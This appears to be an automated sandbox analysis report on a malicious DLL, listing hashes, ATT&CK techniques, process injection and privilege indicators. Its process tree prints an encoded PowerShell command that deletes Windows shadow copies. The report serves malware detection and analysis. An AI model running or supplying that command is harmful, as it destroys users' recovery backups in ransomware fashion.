7d0b26523066341c0a9638d0e265f842b3509a273f3ea0e1f772b0b51a06373b

General

Target

7d0b26523066341c0a9638d0e265f842b3509a273f3ea0e1f772b0b51a06373b.dll
Size

166KB
MD5

2d4425c9f76595f0aa21fad88d82edc4
SHA1

0bb28829b5b7b27ba3141ded75d16ca62c1ef761
SHA256

7d0b26523066341c0a9638d0e265f842b3509a273f3ea0e1f772b0b51a06373b
SHA512

be0f1904acacd8774773366c3d06d28f4a8c6cd74045d7761b5d859c22b8730c4ffc5a433db02b00b41642ecf84435cc76a6ce1c7ed6270f535f33edb26009d3

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

rundll32.exepowershell.exe

pid process

2032 rundll32.exe
428 powershell.exe

pid	process
2032	rundll32.exe
428	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	2032	rundll32.exe
Token: SeDebugPrivilege	428	powershell.exe
Token: SeBackupPrivilege	1864	vssvc.exe
Token: SeRestorePrivilege	1864	vssvc.exe
Token: SeAuditPrivilege	1864	vssvc.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 1540 wrote to memory of 2032	1540	rundll32.exe	rundll32.exe
PID 1540 wrote to memory of 2032	1540	rundll32.exe	rundll32.exe
PID 1540 wrote to memory of 2032	1540	rundll32.exe	rundll32.exe
PID 1540 wrote to memory of 2032	1540	rundll32.exe	rundll32.exe
PID 1540 wrote to memory of 2032	1540	rundll32.exe	rundll32.exe
PID 1540 wrote to memory of 2032	1540	rundll32.exe	rundll32.exe
PID 1540 wrote to memory of 2032	1540	rundll32.exe	rundll32.exe
PID 2032 wrote to memory of 428	2032	rundll32.exe	powershell.exe
PID 2032 wrote to memory of 428	2032	rundll32.exe	powershell.exe
PID 2032 wrote to memory of 428	2032	rundll32.exe	powershell.exe
PID 2032 wrote to memory of 428	2032	rundll32.exe	powershell.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\7d0b26523066341c0a9638d0e265f842b3509a273f3ea0e1f772b0b51a06373b.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1540

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\7d0b26523066341c0a9638d0e265f842b3509a273f3ea0e1f772b0b51a06373b.dll,#1
2⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2032

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:428

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1864

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/428-56-0x000007FEFBE21000-0x000007FEFBE23000-memory.dmp

Filesize
8KB

Download
memory/428-58-0x0000000002780000-0x0000000002782000-memory.dmp

Filesize
8KB

Download
memory/428-60-0x0000000002784000-0x0000000002787000-memory.dmp

Filesize
12KB

Download
memory/428-59-0x0000000002782000-0x0000000002784000-memory.dmp

Filesize
8KB

Download
memory/428-57-0x000007FEF2EF0000-0x000007FEF3A4D000-memory.dmp

Filesize
11.4MB

Download
memory/428-61-0x000000001B700000-0x000000001B9FF000-memory.dmp

Filesize
3.0MB

Download
memory/428-62-0x000000000278B000-0x00000000027AA000-memory.dmp

Filesize
124KB

Download
memory/2032-55-0x0000000076731000-0x0000000076733000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads